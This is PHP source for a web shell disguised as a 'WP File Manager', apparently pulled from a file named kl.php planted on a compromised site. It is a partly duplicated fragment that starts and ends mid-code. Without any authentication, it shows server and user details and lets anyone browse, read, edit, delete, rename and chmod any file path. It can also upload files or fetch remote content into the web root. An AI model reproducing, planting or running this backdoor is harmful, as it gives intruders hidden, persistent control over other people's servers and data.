'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëinfo@gjilan.al/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
